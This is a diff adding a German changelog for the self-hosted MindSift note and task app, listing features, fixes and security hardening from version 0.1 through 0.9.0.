+- Notizen: Eingefügter Text mit Zeilenumbrüchen, der in einem einzigen Punkt landet (z. B. ein Absatz), verschwand – er wird jetzt übernommen. Leerzeilen trennen eingefügte Absätze in eigene Punkte, nummerierte Markdown-Listen bleiben nummeriert (auch mit 3 oder 4 Leerzeichen Einrückung), umbrochene Zeilen gehören zum Punkt darüber.
+- Kontoeinstellungen: Der eigene Webhook ließ sich zwar eintragen, aber nicht mehr einschalten (seit dem Umbau der Benachrichtigungen in 0.8.0).
+- Workspace: kein doppelter Scrollbalken mehr – die Seite selbst scrollt nicht, nur die Notiz; am Handy scrollt die Notiz nicht mehr getrennt von der Seite.
+- Workspace: Ein abgebrochenes Ziehen in der Seitenleiste lässt „Auf Hauptebene verschieben“ nicht mehr stehen.
+- Workspace: Der Knopf zum Ein-/Ausklappen der Ordnerleiste ist im eingeklappten Zustand dezent (nur das Symbol in Akzentfarbe).
+- Outliner: Slash-Befehle werden an der tatsächlichen Cursorposition im Text erkannt (`/link`, `/diktat`); `/divider`, `/image`, `/audio` und `/code` werden nur noch in leeren Blöcken angeboten; das Menü schließt bei Klick ins Leere und Blur.
+- Outliner: Aufgaben-Badges und Drei-Punkte-Menü aus dem Fließtext-Container entkoppelt, um störende Zeilenumbrüche am Zeilenende zu beheben.
+- Outliner: Trennlinien (`divider`) können fokussiert und per `Backspace` oder `Entf` direkt in einen leeren Textpunkt umgewandelt werden.
+- Kontoeinstellungen: Der Bereich „Profil & Anmeldedaten“ nutzt die volle Breite wie die übrigen Bereiche.
+- Light-Theme: Notizen stehen auf einem weißen Blatt, die Ordnerleiste ist dezent grau abgesetzt (bisher umgekehrt). Themes können das über die neuen Variablen `--bg-editor` und `--bg-sidebar` selbst festlegen.
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+## [0.9.0] - 2026-10-30
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+### Added
+- Formatierungs-Kürzel im Outliner: `Strg+B` / `Cmd+B` für fett, `Strg+I` / `Cmd+I` für kursiv (mit Ein-/Ausschalten bei markiertem Text) und `Strg+K` / `Cmd+K` für Links (mit Markierung `[Text](…)` mit vorselektierter Adresse, ohne Markierung Link-Dialog).
+- Code-Blöcke: Zeilennummernspalte links mit synchronem Scrollen (wächst dynamisch bei 100+ Zeilen, zählt auch leere Endzeilen mit); horizontaler Bildlauf bei langen Zeilen ohne automatischen Zeilenumbruch (`white-space: pre`).
+
+### Fixed
+- Formatierungs-Kürzel wirken nicht in schreibgeschützten Notizen.
+- Light-Theme: Kontraste für Code-Blöcke (`--bg-code`), Callouts (`--bg-panel-elevated`), Zitate und Rahmen auf Notizhintergründen geschärft; VS Code Light+ Syntaxfarben für hohe Lesbarkeit optimiert.
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+## [0.8.0] - 2026-10-30
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+### Added
+- Benachrichtigungen pro Ereignis und Kanal (Kontoeinstellungen → Alarme): fällige Aufgaben (sofort), Freigabe erhalten, geteilte Aufgabe erledigt, beobachtete Aufgaben – jeweils per eigener E-Mail und/oder eigenem Discord-Webhook. Alles außer fälligen Aufgaben kommt gebündelt (höchstens alle 5 Minuten eine Nachricht, `NOTIFY_DIGEST_MINUTES`), E-Mails jetzt mit HTML-Layout. Eigene Änderungen lösen nichts aus (bei beobachteten Aufgaben zuschaltbar), ein Schalter pausiert alles.
+- Aufgaben beobachten: Knopf im Aufgaben-Detail; jede Änderung daran wird gemeldet. API: `POST/DELETE /tasks/{id}/watch`.
+- Tageszusammenfassung zur selbst gewählten Uhrzeit: überfällige, heutige und morgige Aufgaben mit Uhrzeit, dazu die Anzahl der nächsten 7 Tage; ohne fällige Aufgaben keine Nachricht.
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+### Changed
+- Notizkopf aufgeräumt: Live-Status, Freigabe-Pille und Online-Avatare stehen oben in der Tab-Leiste neben „Gespeichert“; im Notizkopf gibt es Knöpfe für Rückgängig (`Strg+Z`) und Wiederholen (`Strg+Y`), „Teilen“ direkt sichtbar und ein Drei-Punkte-Menü für Anheften, Zusammenführen, Markdown-Export und Löschen.
+- `/diktat` in Notizen: schreibt live mit (mehrzeiliger Text über den Wellen mit Zeitanzeige `mm:ss`), bricht im Browser-Modus bei Sprechpausen nicht mehr ab und schickt im Server-Modus alle ~8 Sekunden bzw. nach kurzen Sprechpausen Abschnitte zur Erkennung vorab.
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+### Fixed
+- In eigene Notiz umwandeln: Der Link erscheint sofort im Punkt (auch hinter Proxys ohne Live-Verbindung), ohne Konfliktkopien bei gleichzeitigem Weitertippen; die neue Notiz steht sofort in der Seitenleiste. Strg+Z oder „Rückgängig“ im Hinweis holen den Ast zurück und legen die neue Notiz in den Papierkorb.
+- Notizen: Link-Vorschau-Karten erscheinen nur noch, wenn der gesamte Punkt aus einer einzigen `https`-Adresse besteht (oder über `/link` in einem leeren Punkt eingefügt wurde), nicht mehr bei Links mitten im Fließtext.
+- Notizen: Das Slash-Menü (`/`) öffnet sich nur noch am Textanfang oder nach einem Leerzeichen (nicht mehr beim Einfügen von Web-Adressen mit Schrägstrichen), schließt zuverlässig mit `Esc` oder `Backspace` und scrollt bei Pfeiltasten-Navigation automatisch mit.
+- Notizen: `Enter` in einem leeren Punkt auf oberster Ebene legt auch am Ende der Notiz einen neuen Punkt darunter an.
+- Benachrichtigungen: Die Tageszusammenfassung schließt nun auch Aufgaben aus Aufgabenlisten ein, die über eine Gruppe freigegeben wurden.
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+## [0.7.0] - 2026-10-30
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+### Added
+- Punkt in eigene Notiz umwandeln: Knopf am Punkt (Desktop) oder `/extract` bzw. `/notiz`. Der Punkt wird Titel, seine Unterpunkte der Inhalt der neuen Notiz im selben Ordner; an seiner Stelle bleibt ein `[[Link]]` (Hashtags bleiben dort). In geteilten Notizen übernimmt die neue Notiz die Freigaben.
+- Notizen zusammenführen: in der Seitenleiste eine Notiz auf eine andere ziehen oder im Kopf der Notiz „Mit anderer Notiz zusammenführen…“. Die Quelle wird als Abschnitt (Überschrift mit Unterpunkten) angehängt und wandert in den Papierkorb; „Rückgängig“ im Hinweis macht beides rückgängig.
+- Eigene Spracherkennung (optional): Mit `STT_URL` schickt MindSift Aufnahmen an einen selbst betriebenen Whisper-Server (OpenAI-kompatibel, z. B. speaches) statt an Google oder Microsoft. Einstellung nur per Umgebungsvariablen (`STT_*`) inklusive Grenzwerten; `docker-compose.yml` enthält den Dienst `whisper` als auskommentierten Block zum Einschalten, das Modell lädt MindSift beim ersten Start selbst. Administration → Server & Isolation zeigt den aktiven Modus und bietet eine Testaufnahme. In der Demo bleibt es bei der Browser-Erkennung.
+- API: `POST /voice/transcribe`, `GET /admin/voice`; `/auth/status` meldet `voice.mode`.
+- Bilder in Notizen: `/image` (auch `/bild`) in einem leeren Punkt öffnet direkt im Punkt eine Auswahl – Datei, Kamera (Handy), Hineinziehen, Einfügen mit Strg+V oder Bild-Link (der Server übernimmt eine Kopie). Fotos werden vor dem Hochladen auf höchstens 2048 px verkleinert und als WebP gespeichert, Standortdaten entfallen dabei. Klick vergrößert, darunter eine optionale Beschriftung. Esc oder ✕ macht den Punkt wieder zum leeren Punkt.
+- Sprachnotizen in Notizen: `/audio` in einem leeren Punkt zeigt eine Aufnahme-Blase – grüner Knopf startet, er wird rot und links laufen Live-Wellen mit der Zeit, ein Tipp speichert die Aufnahme als Audio-Player im Punkt. Alternativ eine Audiodatei hochladen. Mit eigener Spracherkennung macht „Transkribieren“ aus der Aufnahme die (durchsuchbare) Beschriftung.
+- Diktat in Notizen: `/diktat` in einem leeren Punkt hört sofort zu; der Punkt wird zu einer Fläche mit Live-Wellen und „Stopp“, ein Tipp setzt den erkannten Text in den Punkt. Nutzt die eingestellte Spracherkennung (eigener Server oder Browser) und wird ohne Spracherkennung nicht angeboten.
+- Backup und Export mit Medien: Das Backup-ZIP (auch die automatischen Server-Backups pro Konto) enthält die Bilder und Sprachnotizen der eigenen Notizen, das Markdown-Archiv legt sie unter `attachments/` ab und bettet sie Obsidian-kompatibel ein. Beim Zurückspielen kommen sie wieder als Bild- und Audioblöcke. Der Obsidian-Import übernimmt jetzt auch eingebettete Bilder und Audiodateien (`![[bild.png]]`, `![](bild.png)`).
+- Link-Vorschau in Notizen: Über einem Punkt mit einer Web-Adresse (https) erscheint eine kompakte Karte mit Icon, Seitenname, Titel, einer Zeile Beschreibung und kleinem Bild. Der MindSift-Server ruft die Seite ab (wie bei Bildern nur öffentliche https-Adressen) und speichert die Vorschau 7 Tage; Browser der Leser kontaktieren die Seite nicht. ✕ blendet die Vorschau für diesen Link aus (er wird zu `[Titel](Adresse)`), Darstellung → „Link-Vorschauen anzeigen“ schaltet alle ab. In der Demo aus. API: `GET /link-preview?url=`.
+- Medienablage für Notizen (Grundlage für Bilder und Audio): Hochladen, Kopieren externer Bilder, Abruf nur mit Leserecht; Grenzen per `MEDIA_*`; nicht mehr verwendete Dateien werden automatisch entfernt. API: `POST /documents/{id}/media`, `POST /documents/{id}/media/fetch`, `GET /media/{id}`.
+- Code-Blöcke in Notizen: Sprachauswahl (rund 50 Sprachen, bei Bedarf nachgeladen), Farben beim Tippen im Stil von VS Code Dark+/Light+ für alle Themes, „Kopieren“, Tab/Shift+Tab rückt ein und aus. `/code yaml` oder ```` ```yaml ```` legt die Sprache direkt fest.
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+### Changed
+- **Hinweis für den Betrieb:** Bilder und Sprachnotizen liegen in `data/media/`, nicht in der Datenbank. Wer den Server sichert, sichert den ganzen Ordner `data/` (der Datenbank-Abzug der Admin-Backups enthält keine Mediendateien). Optional neu in `docker-compose.yml`: der auskommentierte Dienst `whisper`.
+- Notizen auf dem Handy: fast kein Seitenrand mehr, Einrückung 14 statt 22 px pro Ebene, Zoom- und Löschknopf belegen nur noch in der aktiven Zeile Platz. Sehr tief verschachtelte Punkte behalten eine lesbare Breite, die Notiz lässt sich dann seitlich verschieben statt den Text zu quetschen.
+- E-Mails zeigen einen Absendernamen: `SMTP_FROM_NAME` bzw. das neue Feld „Absender-Name“ in Administration → E-Mail (Standard „MindSift“), wenn die Absenderadresse keinen eigenen Namen enthält.
+- Slash-Befehle einheitlich englisch: `/image` statt `/bild` (`/bild` findet ihn weiterhin), kürzere Beschreibungen, breiteres Menü ohne Umbrüche.
+- `docker-compose.yml` enthält nur noch die Zuordnungen; alle Erklärungen zu den Variablen stehen in `.env.example`. Neu durchgereicht werden `TZ`, `TRUSTED_PROXIES`, `LOGIN_PROTECTION`, `DEMO_RESET_MINUTES` und `LEGAL_*_CONTENT`, die vorher in `.env` gesetzt wirkungslos blieben.
+- Workspace-Seitenleiste wie ein Datei-Explorer: angeheftete Notizen oben, darunter Ordner und Notizen ohne Zwischenüberschriften.
+- Spracheingabe in Quick Dump, im mobilen Erfassen-Sheet und beim Halten des +-Knopfs folgt der Server-Einstellung: mit eigenem Whisper-Server funktioniert sie in allen Browsern (auch Firefox), mit Live-Wellen während der Aufnahme und „Wird erkannt…“ danach. Ohne Unterstützung im Browser oder mit `STT_DISABLED=true` ist das Mikrofon ausgeblendet statt einer Fehlermeldung.
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+## [0.6.1] - 2026-10-29
+
+### Fixed
+- Notizen: Wer im Rhythmus tippte (kurze Pausen zwischen den Wörtern), bekam Konfliktkopien gegen sich selbst, auch in nicht geteilten Notizen. Mehrere ungesendete Änderungen an einem Punkt zählten lokal als mehrere Versionen, beim Server aber als eine.
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+## [0.6.0] - 2026-10-29
+
+### Added
+- Profil → „Aktive Sitzungen“: Liste der angemeldeten Geräte mit letzter Nutzung und „Abmelden“ je Gerät.
+- API: `GET /auth/sessions`, `DELETE /auth/sessions/{id}`.
+- Triage: Gibt es genau eine beschreibbare Liste, setzt „Auf ‹Listenname›“ den Gedanken direkt darauf, ohne Auswahl. Nur lesbar geteilte Listen werden beim Erfassen und in der Triage nicht mehr angeboten.
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+### Changed
+- **Achtung:** Nach dem Update sind alle Benutzer einmal abgemeldet (neue Sitzungsverwaltung, die alte Sperrliste `revoked_tokens` entfällt).
+- **Achtung:** `?token=` in der URL von `/webhooks/ingest` nimmt nur noch API-Keys (`mindsift_sec_…`) an.
+- **Achtung:** `GET /admin/settings` liefert `smtpPass` nicht mehr; neu ist `smtpPassSet`.
+- **Achtung:** `PATCH /auth/settings` verlangt für `password` und `email` das Feld `currentPassword`, sonst `403`.
+- Versionsnummern folgen jetzt Semantic Versioning mit dreiteiligen Tags (`v0.6.0`); die Kopfzeile zeigt die volle Version (`v0.6.0-dev` für Entwicklungsstände). Vorabversionen wie `v1.0.0-rc.1` verschieben das Image `:stable` nicht.
+- Das Mengenfeld in Listen öffnet auf dem Handy die Zahlentastatur.
+
+### Fixed
+- Große Downloads (Backups, Exporte) brachen nach 30 Sekunden ab, große Importe nach 15 Sekunden Upload (FLAW-38).
+- Der Offline-Start der App funktioniert zuverlässig: Ein altes Script in der Startseite hat bei jedem Aufruf alle Caches des Service Workers gelöscht.
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+### Security
+- Links in Notizen, Aufgaben-Notizen und Impressum öffnen nur noch `http`, `https` und `mailto`; `javascript:` und ähnliche Links erscheinen als Text. Vorher konnte ein Bearbeiter einer geteilten Aufgabenliste über einen präparierten Link Code im Browser anderer ausführen (FLAW-28).
+- Sicherheits-Header für alle Antworten: Content-Security-Policy (Scripts nur von MindSift selbst, keine Einbettung in fremde Seiten), `X-Frame-Options`, `X-Content-Type-Options`, `Referrer-Policy`, `Permissions-Policy` (FLAW-29).
+- Passwort und Login-E-Mail lassen sich nur noch mit dem aktuellen Passwort ändern; die bisherige Adresse bekommt eine Hinweismail, wenn SMTP eingerichtet ist (FLAW-30).
+- Anmeldungen sind serverseitige Sitzungen: Jedes Gerät lässt sich einzeln abmelden, unbenutzte Sitzungen enden nach 30 Tagen, aktive werden täglich erneuert. Ein neues Passwort meldet alle anderen Geräte ab (FLAW-31).
+- IDs neuer Datensätze haben 96 statt 40 Zufallsbits, Einladungscodes eigene 100 Bit (`INV-ABCDE-FGHIJ-KLMNO-PQRST`); vorhandene IDs und Codes bleiben gültig (FLAW-32).
+- Registrierung und „Passwort vergessen“ sind pro Adresse begrenzt (20 bzw. 10 Anfragen in 15 Minuten), Einladungscodes lassen sich so nicht durchprobieren (FLAW-39).
+- Ein Einladungscode lässt sich auch bei gleichzeitigen Registrierungen nur einmal einlösen (FLAW-40).
+- Öffentliche Demo: verschickt nichts mehr (Alarme, Testalarme, SMTP-Test, Hinweismails), Server-Einstellungen sind schreibgeschützt, Passwort, E-Mail, Sitzungen und Konten der gemeinsamen Demo-Konten lassen sich nicht ändern; die Sitzungsliste zeigt nur das eigene Gerät (FLAW-33).
+- Das SMTP-Passwort wird nie mehr an den Browser geschickt; leer lassen behält das gespeicherte (FLAW-34).
+- `?token=` beim Webhook-Ingest nimmt nur noch API-Keys an, keine Sitzungs-Tokens (FLAW-35).
+- Anfragekörper sind auf 2 MB begrenzt, Notiz-Sync auf 8 MB, Importe auf 101 MB (FLAW-36).
+- Konto löschen entfernt auch die Server-Backups des Kontos (FLAW-37).
+
+## [0.5.2] - 2026-10-29
+
+### Fixed
+- Einkaufsliste auf dem Smartphone (iOS): Der `+`-Knopf und der Menüeintrag setzen den Fokus für neue Einträge direkt in der Tipp-Geste statt verzögert nach 60 ms, sodass sich die Bildschirmtastatur auf iOS zuverlässig öffnet; Eingabefelder nutzen mobil 16 px Schriftgröße gegen automatisches Heranzoomen.
+
+## [0.5.1] - 2026-10-29
+
+### Fixed
+- Mobiler `+`-Knopf in Triage und Aufgaben: Ein kurzes Antippen öffnet das Erfassen-Sheet wieder über das `click`-Event statt bei `pointerup`, damit der direkt folgende Browser-Klick nicht auf dem Hintergrund-Overlay landet und das Sheet sofort wieder schließt (nach langem Halten für die Sprachaufnahme wird der nachfolgende Klick ignoriert).
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+## [0.5] - 2026-10-29
+
+### Added
+- Automatische tägliche Server- und Benutzer-Backups (`$DATA_DIR/backups`): konsistenter SQLite-Gesamtabzug (`VACUUM INTO`, `.db.gz`) sowie ein MindSift-Backup-ZIP pro aktivem Konto; einstellbare Uhrzeit und Aufbewahrungsdauer (Standard 03:00 Uhr, 3 Tage) unter Administration → Datensicherung inkl. „Jetzt sichern“.
+- Kontoeinstellungen → Server-Backups: Eigene Sicherungen herunterladen oder gezielt nach Bereichen (`notes`, `tasks`, `lists`, `inbox`, `themes`) wiederherstellen (ersetzen oder hinzufügen); auch der manuelle MindSift-Import unterstützt die Bereichsauswahl und nimmt eigene Themes mit.
+- Mobil: Gedrückthalten des `+`-Knopfs startet eine Sprachaufnahme und legt das Transkript beim Loslassen direkt im Quick Dump ab (nach oben ziehen bricht ab); kurzes Tippen bzw. Tastatur/Screenreader öffnen weiterhin das Erfassen-Sheet.
+- API-Key-Scopes (`webhook:triage`, `webhook:task`, `webhook:list`): Auswahl beim Anlegen, Anzeige als Badges und Webhook-Simulator für alle drei Ziele in den Kontoeinstellungen (FLAW-07).
+- Demo-Modus: Automatischer Reset alle 20 Minuten (`DEMO_RESET_MINUTES`, `0` = aus) mit Live-Countdown (`✨ Demo · Reset in MM:SS`) in der Kopfzeile; Sitzungen bleiben über feste Demo-Konto-IDs erhalten. Tief verschachtelte Beispielnotiz „Hausrenovierung 2027“ (7 Ebenen) zum Ausprobieren des Zoom-Fokus.
+- Zähler für offene Listeneinträge am Reiter „Listen“; die Suche in der Notiz-Seitenleiste öffnet die globale Volltextsuche (`⌘K`).
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+### Changed
+- **Achtung:** WebSocket (`/ws`) und SSE (`/events`) akzeptieren kein `?token=` mehr in der URL, sondern kurzlebige Einmal-Tickets (`POST /auth/stream-ticket`, 60 s gültig) oder den `Authorization`-Header (FLAW-22).
+- **Achtung:** Neue Passwörter müssen mindestens 8 Zeichen lang sein (Setup, Registrierung, Profil, Admin, Passwort-Reset) (FLAW-09).
+- Nummerierte Datenbank-Migrationen über `schema_migrations`, die genau einmal laufen und bei Fehlern den Start abbrechen statt Fehler zu verschlucken (FLAW-13).
+- Echtes ESLint (`eslint.config.js`) im Frontend- und Image-Build sowie erweiterte Frontend-Tests (FLAW-19); vereinheitlichte Zugriffsabfrage für Aufgabenlisten (FLAW-20).
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+### Fixed
+- SQLite-Transaktionen starten mit `BEGIN IMMEDIATE` (`_txlock=immediate`), sodass parallele Schreiber auf das Lock warten statt mit `SQLITE_BUSY` zu scheitern (FLAW-23).
+- Mehrstufige Datenbankänderungen (Ordner/Aufgabenlisten/Konten löschen, Freigaben, Passwort-Reset) laufen atomar in Transaktionen und melden Schreibfehler sauber zurück (FLAW-14).
+- Fälligkeits-Alarme brechen nach 3 fehlgeschlagenen Zustellversuchen mit einer Warnung ab, statt jede Minute endlos weiterzusenden (FLAW-12).
+- Bessere Lesbarkeit (dunkler Text) auf dem Türkis-Akzent des Themes `Polarized` sowie korrekte `rounded-full`-Darstellung runder Icon-Buttons in eckigen Themes.
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+### Security
+- Einmal-Stream-Tickets statt langlebiger Sitzungs-Tokens in WebSocket-/SSE-URLs; `BASE_URL` schränkt CORS- und WebSocket-Origins ein; Abmelden, Passwortwechsel und Kontosperre trennen offene Live-Streams sofort (FLAW-22).
+- Berechtigungsprüfung für alle Listeneintrags-Endpunkte und beim Umwandeln von Gedanken in Listeneinträge (Eigentümer oder Bearbeiter erforderlich, verhindert IDOR und Schreibzugriffe durch Leser) (FLAW-27).
+- API-Keys sind strikt auf ihre Scopes (`webhook:triage`, `webhook:task`, `webhook:list`) beschränkt und können keine Live-Streams öffnen (FLAW-07).
+- Schutz gegen Brute-Force beim Login (Sperre nach Fehlversuchen pro Konto+IP, Konto und IP mit `429` und `Retry-After`) sowie explizite Konfiguration vertrauenswürdiger Reverse-Proxys über `TRUSTED_PROXIES` (FLAW-09).
+- `DeleteTaskList` prüft die Eigentümerschaft vor dem Entkoppeln von Aufgaben; Leser können Verknüpfungen zwischen Notiz-Blöcken und Aufgaben nicht mehr aufheben (FLAW-14).
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+## [0.4.1] - 2026-10-29
+
+### Added
+- Fälligkeitsdatum mit optionaler Uhrzeit (`YYYY-MM-DDTHH:MM`); Alarme berücksichtigen Uhrzeit (bzw. 09:00 Uhr bei ganztägigen Aufgaben), Vorlaufzeit (`notify_before_minutes`) und Zeitzone (`TZ`, Standard `Europe/Berlin`) (FLAW-12).
+- Papierkorb für Notizen (`GET/POST/DELETE /documents/trash…`): Gelöschte Notizen und Ordner landen im Papierkorb, verschwinden aus Baum, Suche und Export und lassen sich vom Eigentümer wiederherstellen oder endgültig löschen.
+- Backlinks am Ende einer Notiz (`GET /documents/{id}/backlinks`): Zeigt alle zugänglichen Notizen und Punkte, die per `[[Titel]]` auf die aktuelle Notiz verweisen, mit direktem Sprung zum Punkt.
+- „Passwort vergessen?“ auf dem Anmeldebildschirm (wenn SMTP und `BASE_URL` eingerichtet sind): Einmal-Link per E-Mail (SHA-256-Hash gespeichert, 1 Stunde gültig), setzt das Passwort zurück und beendet alle bestehenden Sitzungen.
+- Offline-fähige PWA: Service Worker hält die App-Shell vor, gelesene Daten werden pro Benutzer in IndexedDB zwischengespeichert und offline erfasste Gedanken sowie abgehakte Aufgaben/Listeneinträge über eine Outbox bei Rückkehr der Verbindung synchronisiert.
+- Zwei neue dunkle Themes: `Polarized` (Obsidian & Türkis/Smaragd) und `Suri` (Mitternachts-Pflaume & Orchidee).
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+### Changed
+- Aufteilung von `internal/storage/sqlite.go` und `internal/api/server.go` in domänenspezifische Dateien ohne Verhaltensänderung (FLAW-20).
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+### Security
+- Ohne gesetztes `JWT_SECRET` (oder bei bekannten Platzhaltern) erzeugt der Server einmalig ein zufälliges 32-Byte-Geheimnis in `data/jwt.secret` (`0600`), statt ein öffentlich bekanntes Standard-Secret zu verwenden (FLAW-04).
+- SSRF-Schutz für Discord- und benutzerdefinierte Alarm-Webhooks: Nur `https`, Host-Prüfung für Discord, Blockieren von Loopback/Link-Local/Cloud-Metadata bei der DNS-Auflösung; private Netze und `http` nur über expliziten Admin-Schalter (`allowPrivateWebhooks`) (FLAW-05).
+- Einheitliche Authentifizierungsprüfung für Middleware und Webhook-Ingest inkl. Sperrliste, `token_version` und aktivem Konto; API-Keys dürfen keine Lese- oder Verwaltungs-Endpunkte mehr aufrufen (FLAW-07, FLAW-08).
+
+## [0.4] - 2026-10-29
+
+### Added
+- Daten-Import mit Vorschau (`?preview=1`) und Größen-/Pfad-Limits: Wiederherstellen oder Hinzufügen von MindSift-Backups (JSON, ZIP oder Markdown-Archiv via `POST /import/mindsift`) sowie Import ganzer Obsidian-Vaults als ZIP (`POST /import/obsidian`).
+- Vollständiger Datenexport auch als komprimiertes ZIP-Archiv (`GET /export?format=zip`).
+- Wiederkehrende Aufgaben (`daily`, `weekly`, `monthly`, `yearly`): Beim Abschließen einer Aufgabe wird automatisch die nächste Instanz zum Folgetermin angelegt.
+- Gefahrenzone in den Kontoeinstellungen: Eigene Daten (`DELETE /user/data`) oder das gesamte eigene Konto (`DELETE /user/account`) nach Passwortbestätigung löschen (der letzte Server-Admin ist vor Selbstlöschung geschützt).
+- PWA-Startbildschirm (Splash Screen) und automatische Anpassung der Statusleisten-Farbe (`theme-color`) an das aktive Theme.
+
+### Fixed
+- SMTP-Versand fällt auf `AUTH LOGIN` zurück, wenn der Server `AUTH PLAIN` ablehnt (z. B. Postfix/Dovecot oder Exchange); das Port-Feld in den Admin-Einstellungen lässt sich leeren und ohne Typfehler speichern.
+- Mobil: Formular-Sheets (`FormSheet`) und Emoji-Picker positionieren sich über der Bildschirmtastatur (`visualViewport`).
+- Ältere Datenbanken werden beim Start nicht mehr durch den früheren Schema-Reset geleert.
+
+## [0.3] - 2026-10-29
+
+### Added
+- Organisationen und Sichtbarkeits-Modi (`private`, `organizations`, `open`), verwaltet durch Server-Admins; bestimmt zentral, wer wen in der Benutzersuche sieht und mit wem Inhalte geteilt werden können (FLAW-10, FLAW-24).
+- Aufgaben-Zuweisung (`assignees`) in geteilten Aufgabenlisten, einheitliche Benutzersuche (`UserAutocomplete`), Avatar-Stapel (`AvatarStack`) und runde Zähler-Badges (`CountBadge`).
+- Eigene CSS-Themes pro Benutzer (`GET/POST /themes`, `DELETE /themes/{id}`): `.css`-Datei hochladen oder einfügen, Vorlage herunterladen und live umschalten.
+- Globale Volltextsuche über Gedanken, Aufgaben, Notizen und Listeneinträge auf Basis von SQLite FTS5 mit BM25-Ranking, Berechtigungsprüfung und `⌘K`/`Ctrl+K`-Befehlspalette (FLAW-18).
+- Obsidian-kompatibler Markdown-Export (`GET /export/markdown`) als gestreamtes ZIP-Archiv über alle Notizen, Ordner, Aufgabenlisten und Listen.
+- Vollständige Emoji-Auswahl für Notiz-Icons (Lazy-Loading, auf dem Smartphone als Bottom-Sheet).
+- Optionale Links/Texte für Impressum und Datenschutz (`LEGAL_IMPRINT_*`, `LEGAL_PRIVACY_*`, `GET /legal/{imprint|privacy}`) sowie „Über MindSift“-Dialog.
+- Veröffentlichung unter [The Unlicense](LICENSE) (gemeinfrei, FLAW-21).
+
+### Changed
+- **Achtung:** Nur noch Eigentümer können Ressourcen (Aufgabenlisten, Listen, Notizen, Ordner) teilen; das alte Feld `task_lists.team_id` und die ungeschützten `/organizations`-Routen entfallen. Entfällt die Sichtbarkeit (z. B. durch Organisationswechsel), werden Freigaben, Gruppenmitgliedschaften und Zuweisungen automatisch bereinigt (FLAW-06, FLAW-10, FLAW-24).
+- Demo-Modus setzt die Datenbank bei jedem Serverstart sauber zurück und befüllt sie neu.
+
+### Fixed
+- SMTP-Client mit explizitem Protokollablauf (`EHLO` mit Absender-Domain, `STARTTLS`, `AUTH`, RFC-2047-Header, `SMTP_SKIP_VERIFY` für selbstsignierte Zertifikate).
+- Tailwind-Deckkraft-Modifikatoren (`bg-accent/15` usw.) funktionieren über `color-mix()` mit allen Theme-Variablen.
+- Mobil- und Desktop-Verbesserungen: Stilles Nachladen von Aufgabenlisten ohne Verschlucken von Klicks, `#`-Anker in URLs werden nicht mehr als Hashtags erkannt, mehrzeilige Aufgaben-Notizen im Dialog voll scrollbar.
+
+## [0.2.1] - 2026-10-28
+
+### Added
+- Notizen: Nach dem Umwandeln eines `/todo`-Punkts in eine erweiterte Aufgabe öffnet sich diese direkt; ein Klick auf das Badge „Erweitert“ öffnet den Aufgabendialog.
+
+### Changed
+- Container-Build taggt Release-Images (`v*`) zusätzlich als `:stable` und `:latest`, den `dev`-Branch als `:dev`.
+
+## [0.2] - 2026-10-28
+
+### Added
+- Echtzeit-Zusammenarbeit in Notizen (`internal/collab`, `frontend/src/lib/docSync`): Server-autoritativer Operations-Log (`doc_ops`) mit Baumstruktur, Fractional-Indexing-Sortierschlüsseln, 20-Sekunden-Blocksperren (Leases), Offline-Warteschlange in IndexedDB und automatischem Transport-Fallback (WebSocket → SSE → Long-Polling → Intervall-Polling).
+- Notizen und Ordner lassen sich jetzt auch mit Schreibrecht („Bearbeiten“) teilen (FLAW-17).
+- Sichtbare Blocksperren mit Namen des Bearbeitenden, Anwesenheitsanzeige im Notizkopf, Konfliktkopien („Übernehmen“ / „Verwerfen“) statt Datenverlust bei gleichzeitigen Änderungen sowie benutzerbezogenes Undo/Redo (`Ctrl/Cmd+Z`, `Ctrl+Y`) über die gesamte Notiz (FLAW-25, FLAW-26).
+- Automatische Hintergrund-Verdichtung des Operations-Logs und Bereinigung gelöschter Blöcke (Tombstones) nach 30 Tagen.
+- Outliner: `Backspace` am Zeilenanfang verschmilzt den Punkt mit dem vorherigen; `#Hashtags` werden direkt im Fließtext als anklickbare Chips gerendert; Klick in einen Punkt setzt den Cursor exakt an die geklickte Textstelle.
+- Vitest + Testing Library im Frontend-Build sowie Playwright-End-to-End-Tests (`e2e/`) für Live-Kollaboration, Sperren und Proxy-Fallbacks.
+
+### Removed
+- **Achtung:** Altes ganzheitliches Überschreiben von Notizen (`PATCH /documents/{id}/blocks`, `DOC_BLOCKS_PATCHED`) entfernt; alle Blockänderungen laufen über `/docs/{id}/sync`.
+
+### Security
+- Echtzeit-Ereignisse (`BroadcastToAll` entfernt) und WebSocket-/SSE-Räume sind strikt auf berechtigte, angemeldete Benutzer beschränkt; `ReorderTasks` prüft Schreibrechte (IDOR behoben); SSE-Streams werden nicht mehr nach 30 s durch `WriteTimeout` getrennt; Block-Upserts prüfen die Dokumentzugehörigkeit (FLAW-01, FLAW-02, FLAW-03, FLAW-11, FLAW-15).
+
+## [0.1] - 2026-10-27
+
+### Added
+- Erste veröffentlichte Version von MindSift als einzelner selbst gehosteter Container (Go-Backend, eingebettetes React/TypeScript/Tailwind-Frontend, SQLite im WAL-Modus).
+- Schnellerfassung (Quick Dump per `C`/`/`, Spracheingabe, mehrzeilig mit `Shift+Enter`, direkte Zielwahl) und Triage-Deck (Tastaturkürzel & Smartphone-Wischgesten).
+- Aufgabenverwaltung mit mehreren Listen, frei konfigurierbarem Kanban-Board, Prioritäten, Fälligkeitsdaten, Unteraufgaben mit Fortschrittsbalken, Markdown-Notizen, Filtern/Gruppierungen sowie Fälligkeits-Alarmen per E-Mail (SMTP), Discord und eigenem Webhook.
+- Hierarchischer Outliner-Workspace mit Ordnerbaum, Drag & Drop ganzer Äste, Zoom-Fokus mit Breadcrumbs, Slash-Befehlen (`/todo`, `/link`, `/h1`–`/h3`, `/code`, `/callout`, `/divider`), Wiki-Links `[[Notiz]]`, `#Hashtag`-Übersicht, globalem To-Do-Rollup und `.md`-Export.
+- Geteilte Listen (Einkaufs-, Pack- und Checklisten) mit `#Kategorie`-Gruppierung, Mengenangaben und Echtzeit-Abhaken.
+- Benutzer-, Gruppen- und Admin-Verwaltung (Ersteinrichtungs-Assistent, Einladungscodes, Profilbilder, persönliche API-Keys & Webhook-Ingest `/api/v1/webhooks/ingest`, JSON-Datenexport) sowie CSS-Theme-Engine mit 4 Themes (`Dark`, `Light`, `High Contrast`, `Soft`) und PWA-Unterstützung.
+
+[Unreleased]: https://git.dsit.me/sandrodach/MindSift/compare/v0.28.0...dev
+[0.28.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.27.1...v0.28.0
+[0.27.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.27.0...v0.27.1
